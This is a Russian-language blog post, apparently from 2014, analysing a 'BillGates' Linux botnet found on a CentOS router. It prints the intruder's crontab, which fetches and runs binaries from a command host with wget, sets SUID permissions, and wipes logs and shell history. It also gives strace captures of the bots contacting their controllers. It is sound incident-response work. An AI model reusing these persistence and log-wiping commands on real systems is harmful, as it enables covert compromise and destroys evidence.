Исследуем Linux Botnet «BillGates»

By ValdikSS

Published: 2014-02-26 · Archived: 2026-04-06 00:43:55 UTC

26 мин

88K

Написал мне вчера lfatal1ty, говорит, домашний роутер на x86 с CentOS как-то странно себя ведет, грузит канал под гигабит, и какой-то странный процесс «atddd» загружает процессор. Решил я залезть и посмотреть, что же там творится, и сразу понял, что кто-то пробрался на сервер и совершает с ним непотребства всякие. В процессах висели wget-ы на домен dgnfd564sdf.com и процессы **atddd**, **cupsdd**, **cupsddh**, **ksapdd**, **kysapdd**, **skysapdd** и **xfsdxd**, запущенные из /etc:

Скрытый текст

```
 root      4741  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root      4753  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root      4756  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root      4757  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root      4760  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root      4764  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root      4767  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/skysapd
```

К сожалению, процессы не додумался скопировать

Начальный анализ

Сначала я полез смотреть, что же вообще происходит и насколько серьезно была скомпрометирована система. Первое, что мне пришло в голову проверить — /etc/rc.local. Там было следующее:

```
 cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd
```

«Хмм, ладно», подумал я. Полез в root'овский crontab:

Скрытый текст

```
 # crontab -e
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
```

```
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
…
*/1 * * * * killall -9 nfsd4
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
…
*/1 * * * * killall -9 profild.key
```

```
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
…
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
…
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
```

```
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
…
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
…
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg
*/1 * * * * cd /var/log > auth.log
*/1 * * * * cd /var/log > alternatives.log
*/1 * * * * cd /var/log > boot.log
*/1 * * * * cd /var/log > btmp
*/1 * * * * cd /var/log > cron
```

```
…
…
*/1 * * * * cd /var/log > cups
*/1 * * * * cd /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * cd /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * cd /var/log > anaconda.log
*/1 * * * * cd /var/log > yum.log
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c
…
# Edit this file to introduce tasks to be run by cron.
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
```

Ох. Размером он был 183КБ, 4036 строчек. Вы когда-нибудь видели crontab размером 183КБ? Я видел. К моменту, когда я зашел на сервер, эти процессы уже ничего не делали (не грузили процессор, не использовали сеть). Решил остановить crond, чтобы эти правила не выполнялись, а процессы пока не убивать. Натравил на них **strace**:

Скрытый текст

```
 [root@Fatalsrv etc]# strace -p 3312
Process 3312 attached - interrupt to quit
[ Process PID=3312 runs in 32 bit mode. ]
restart_syscall(<... resuming interrupted call ...>) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRES
```

```
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3)                                = 0
nanosleep({15, 0}, NULL)                = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRES
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3)                                = 0
nanosleep({15, 0},


[root@Fatalsrv etc]# strace -p 3268
Process 3268 attached - interrupt to quit
[ Process PID=3268 runs in 32 bit mode. ]
recv(3, 0xfff19338, 4, 0)               = -1 ECONNRESET (Connection reset by peer)
close(3)                                = 0
futex(0x816e8a8, FUTEX_WAKE, 1)         = 1
futex(0x816e8a4, FUTEX_WAKE, 1)         = 1
nanosleep({15, 0}, NULL)                = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("112.90.22.197")}, 16) = -1 EINPROGRES
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = 401
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0", 8) = 0
recv(3, "\4\0\0\0", 4, 0)               = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0", 8) = 0
```

```
send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, "\4\0\0\0", 4, 0)               = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, ^C <unfinished ...>
Process 3268 detached
```

Процессы почти ничего не делали, только изредка отправляли собранные с машины данные. Решил их убить, разумеется, с сигналом SIGKILL. Почистил crontab, почистил /etc/rc.local, удалил эти исполняемые файлы из /etc (к слову, они все имели SUID-бит, а на одном был Immunity-бит, и если не знать или не помнить про extended attributes файлов, то можно долго ломать голову, почему ничего нельзя с ним сделать: ни удалить, ни изменить), почистил /etc/profile от 422 строчек:

```
unset MAILCHECK
```

Что означает, что ботнет был на компьютере примерно 7 часов. Не так много, но и не мало, заархивировал все файлы себе и скачал их.

Теперь нужно проверить, были ли изменены какие-то системные файлы. В CentOS для этого достаточно выполнить:

```
rpm -Va
```

Вывод этой команды меня, в общем-то, порадовал:

Скрытый текст

```
 [root@Fatalsrv ~]# rpm -Va
S.5....T.  c /etc/ppp/chap-secrets
S.5....T.  c /etc/issue
S.5....T.  c /etc/crontab
S.5....T.  c /etc/nagiosgraph/access.conf
S.5....T.  c /etc/nagiosgraph/nagiosgraph.conf
.M.......    /usr/lib/nagiosgraph/cgi-bin/show.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showconfig.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showgraph.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showgroup.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showhost.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showservice.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/testcolor.cgi
.M.......    /usr/share/nagiosgraph/htdocs/nagiosgraph.css
.M.......    /usr/share/nagiosgraph/htdocs/nagiosgraph.js
S.5....T.    /var/log/nagiosgraph/nagiosgraph-cgi.log
```

```
S.5....T.    /var/log/nagiosgraph/nagiosgraph.log
missing     /usr/java/jre1.7.0_40/lib/install.jar
....L....    /lib/modules/2.6.32-358.2.1.el6.x86_64/build
S.5....T.  c /etc/tor/torrc
.M.......    /
.......T.  c /etc/ppp/options.pptpd
S.5....T.  c /etc/pptpd.conf
....L....  c /etc/pam.d/fingerprint-auth
....L....  c /etc/pam.d/password-auth
....L....  c /etc/pam.d/smartcard-auth
....L....  c /etc/pam.d/system-auth
S.5....T.  c /etc/rsyslog.conf
S.5....T.  c /etc/rc.d/rc.local
..5....T.  c /etc/sysctl.conf
S.5....T.  c /etc/vsftpd/vsftpd.conf
.M.......    /var/ftp/pub
..5....T.  c /etc/sysconfig/PlexMediaServer
.......T.    /usr/lib/plexmediaserver/start.sh
S.5....T.  c /etc/sysconfig/lm_sensors
S.5....T.  c /etc/php.ini
S.5....T.  c /etc/httpd/conf/httpd.conf
.......T.    /etc/rc.d/init.d/deluge-daemon
S.5....T.  c /etc/cacti/db.php
S.5....T.  c /etc/cron.d/cacti
S.5....T.  c /etc/httpd/conf.d/cacti.conf
.M.......    /usr/share/cacti
.M.......    /usr/share/cacti/about.php
.M.......    /usr/share/cacti/auth_changepassword.php
.M.......    /usr/share/cacti/auth_login.php
.M.......    /usr/share/cacti/cdef.php
.M.......    /usr/share/cacti/cmd.php
.M.......    /usr/share/cacti/color.php
.M.......    /usr/share/cacti/data_input.php
.M.......    /usr/share/cacti/data_queries.php
.M.......    /usr/share/cacti/data_sources.php
.M.......    /usr/share/cacti/data_templates.php
.M.......    /usr/share/cacti/gprint_presets.php
.M.......    /usr/share/cacti/graph.php
.M.......    /usr/share/cacti/graph_image.php
.M.......    /usr/share/cacti/graph_settings.php
.M.......    /usr/share/cacti/graph_templates.php
.M.......    /usr/share/cacti/graph_templates_inputs.php
.M.......    /usr/share/cacti/graph_templates_items.php
.M.......    /usr/share/cacti/graph_view.php
.M.......    /usr/share/cacti/graph_xport.php
.M.......    /usr/share/cacti/graphs.php
.M.......    /usr/share/cacti/graphs_items.php
```

```
.M.......    /usr/share/cacti/graphs_new.php
.M.......    /usr/share/cacti/host.php
.M.......    /usr/share/cacti/host_templates.php
.M.......    /usr/share/cacti/images
.M.......    /usr/share/cacti/images/arrow.gif
.M.......    /usr/share/cacti/images/auth_deny.gif
.M.......    /usr/share/cacti/images/auth_login.gif
.M.......    /usr/share/cacti/images/auth_logout.gif
.M.......    /usr/share/cacti/images/button_add.gif
.M.......    /usr/share/cacti/images/button_cancel.gif
.M.......    /usr/share/cacti/images/button_cancel2.gif
.M.......    /usr/share/cacti/images/button_clear.gif
.M.......    /usr/share/cacti/images/button_colapse_all.gif
.M.......    /usr/share/cacti/images/button_create.gif
.M.......    /usr/share/cacti/images/button_default.gif
.M.......    /usr/share/cacti/images/button_delete.gif
.M.......    /usr/share/cacti/images/button_expand_all.gif
.M.......    /usr/share/cacti/images/button_export.gif
.M.......    /usr/share/cacti/images/button_go.gif
.M.......    /usr/share/cacti/images/button_help.gif
.M.......    /usr/share/cacti/images/button_import.gif
.M.......    /usr/share/cacti/images/button_no.gif
.M.......    /usr/share/cacti/images/button_purge.gif
.M.......    /usr/share/cacti/images/button_refresh.gif
.M.......    /usr/share/cacti/images/button_save.gif
.M.......    /usr/share/cacti/images/button_view.gif
.M.......    /usr/share/cacti/images/button_yes.gif
.M.......    /usr/share/cacti/images/cacti_about_logo.gif
.M.......    /usr/share/cacti/images/cacti_backdrop.gif
.M.......    /usr/share/cacti/images/cacti_backdrop2.gif
.M.......    /usr/share/cacti/images/cacti_logo.gif
.M.......    /usr/share/cacti/images/calendar.gif
.M.......    /usr/share/cacti/images/delete_icon.gif
.M.......    /usr/share/cacti/images/delete_icon_large.gif
.M.......    /usr/share/cacti/images/disable_icon.png
.M.......    /usr/share/cacti/images/enable_icon.png
.M.......    /usr/share/cacti/images/enable_icon_disabled.png
.M.......    /usr/share/cacti/images/favicon.ico
.M.......    /usr/share/cacti/images/graph_page_top.gif
.M.......    /usr/share/cacti/images/graph_properties.gif
.M.......    /usr/share/cacti/images/graph_query.png
.M.......    /usr/share/cacti/images/graph_zoom.gif
.M.......    /usr/share/cacti/images/hide.gif
.M.......    /usr/share/cacti/images/install_icon.png
.M.......    /usr/share/cacti/images/install_icon_disabled.png
.M.......    /usr/share/cacti/images/left_border.gif
.M.......    /usr/share/cacti/images/menu_line.gif
```

```
.M.......    /usr/share/cacti/images/menuarrow.gif
.M.......    /usr/share/cacti/images/move_down.gif
.M.......    /usr/share/cacti/images/move_left.gif
.M.......    /usr/share/cacti/images/move_right.gif
.M.......    /usr/share/cacti/images/move_up.gif
.M.......    /usr/share/cacti/images/reload_icon_small.gif
.M.......    /usr/share/cacti/images/shadow.gif
.M.......    /usr/share/cacti/images/shadow_gray.gif
.M.......    /usr/share/cacti/images/show.gif
.M.......    /usr/share/cacti/images/tab_cacti.gif
.M.......    /usr/share/cacti/images/tab_console.gif
.M.......    /usr/share/cacti/images/tab_console_down.gif
.M.......    /usr/share/cacti/images/tab_graphs.gif
.M.......    /usr/share/cacti/images/tab_graphs_down.gif
.M.......    /usr/share/cacti/images/tab_mode_list.gif
.M.......    /usr/share/cacti/images/tab_mode_list_down.gif
.M.......    /usr/share/cacti/images/tab_mode_preview.gif
.M.......    /usr/share/cacti/images/tab_mode_preview_down.gif
.M.......    /usr/share/cacti/images/tab_mode_tree.gif
.M.......    /usr/share/cacti/images/tab_mode_tree_down.gif
.M.......    /usr/share/cacti/images/tab_settings.gif
.M.......    /usr/share/cacti/images/tab_settings_down.gif
.M.......    /usr/share/cacti/images/transparent_line.gif
.M.......    /usr/share/cacti/images/uninstall_icon.gif
.M.......    /usr/share/cacti/images/view_none.gif
.M.......    /usr/share/cacti/include
.M.......    /usr/share/cacti/include/auth.php
.M.......    /usr/share/cacti/include/bottom_footer.php
.M.......    /usr/share/cacti/include/global.php
.M.......    /usr/share/cacti/include/global_arrays.php
.M.......    /usr/share/cacti/include/global_constants.php
.M.......    /usr/share/cacti/include/global_form.php
.M.......    /usr/share/cacti/include/global_settings.php
.M.......    /usr/share/cacti/include/jscalendar
.M.......    /usr/share/cacti/include/jscalendar/calendar-setup.js
.M.......    /usr/share/cacti/include/jscalendar/calendar.js
.M.......    /usr/share/cacti/include/jscalendar/lang
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-af.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-al.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-bg.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-big5-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-big5.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-br.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ca.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-cs-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-cs-win.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-da.js
```

```
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-de.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-du.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-el.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-en.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-es.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-fi.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-fr.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-he-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-hr-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-hr.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-hu.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-it.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-jp.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ko-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ko.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-lt-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-lt.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-lv.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-nl.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-no.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-pl-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-pl.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-pt.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ro.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ru.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ru_win_.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-si.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-sk.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-sp.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-sv.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-tr.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-zh.js
.M.......    /usr/share/cacti/include/jscalendar/lang/cn_utf8.js
.M.......    /usr/share/cacti/include/layout.js
.M.......    /usr/share/cacti/include/main.css
.M.......    /usr/share/cacti/include/plugins.php
.M.......    /usr/share/cacti/include/top_graph_header.php
.M.......    /usr/share/cacti/include/top_header.php
.M.......    /usr/share/cacti/include/treeview
.M.......    /usr/share/cacti/include/treeview/ftiens4.js
.M.......    /usr/share/cacti/include/treeview/ftiens4_export.js
.M.......    /usr/share/cacti/include/treeview/ftv2blank.gif
.M.......    /usr/share/cacti/include/treeview/ftv2lastnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2mlastnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2mnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2node.gif
.M.......    /usr/share/cacti/include/treeview/ftv2plastnode.gif
```

```
.M.......    /usr/share/cacti/include/treeview/ftv2pnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2vertline.gif
.M.......    /usr/share/cacti/include/treeview/ua.js
.M.......    /usr/share/cacti/include/zoom.js
.M.......    /usr/share/cacti/index.php
.M.......    /usr/share/cacti/install
.M.......    /usr/share/cacti/install/0_8_1_to_0_8_2.php
.M.......    /usr/share/cacti/install/0_8_2_to_0_8_2a.php
.M.......    /usr/share/cacti/install/0_8_2a_to_0_8_3.php
.M.......    /usr/share/cacti/install/0_8_3_to_0_8_4.php
.M.......    /usr/share/cacti/install/0_8_4_to_0_8_5.php
.M.......    /usr/share/cacti/install/0_8_5a_to_0_8_6.php
.M.......    /usr/share/cacti/install/0_8_6_to_0_8_6a.php
.M.......    /usr/share/cacti/install/0_8_6c_to_0_8_6d.php
.M.......    /usr/share/cacti/install/0_8_6d_to_0_8_6e.php
.M.......    /usr/share/cacti/install/0_8_6f_to_0_8_6g.php
.M.......    /usr/share/cacti/install/0_8_6g_to_0_8_6h.php
.M.......    /usr/share/cacti/install/0_8_6h_to_0_8_6i.php
.M.......    /usr/share/cacti/install/0_8_6j_to_0_8_7.php
.M.......    /usr/share/cacti/install/0_8_7_to_0_8_7a.php
.M.......    /usr/share/cacti/install/0_8_7a_to_0_8_7b.php
.M.......    /usr/share/cacti/install/0_8_7b_to_0_8_7c.php
.M.......    /usr/share/cacti/install/0_8_7c_to_0_8_7d.php
.M.......    /usr/share/cacti/install/0_8_7d_to_0_8_7e.php
.M.......    /usr/share/cacti/install/0_8_7e_to_0_8_7f.php
.M.......    /usr/share/cacti/install/0_8_7f_to_0_8_7g.php
.M.......    /usr/share/cacti/install/0_8_7g_to_0_8_7h.php
.M.......    /usr/share/cacti/install/0_8_7h_to_0_8_7i.php
.M.......    /usr/share/cacti/install/0_8_7i_to_0_8_8.php
.M.......    /usr/share/cacti/install/0_8_8_to_0_8_8a.php
.M.......    /usr/share/cacti/install/0_8_to_0_8_1.php
.M.......    /usr/share/cacti/install/index.php
.M.......    /usr/share/cacti/install/install_finish.gif
.M.......    /usr/share/cacti/install/install_next.gif
.M.......    /usr/share/cacti/lib
.M.......    /usr/share/cacti/lib/adodb
.M.......    /usr/share/cacti/lib/adodb/adodb-csvlib.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-datadict.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-error.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-errorhandler.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-errorpear.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-exceptions.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-iterator.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-lib.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-pear.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-perf.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-php4.inc.php
```

```
.M.......    /usr/share/cacti/lib/adodb/adodb-time.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-xmlschema.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-access.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-db2.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-firebird.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-generic.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-ibase.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-informix.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-mssql.inc.php
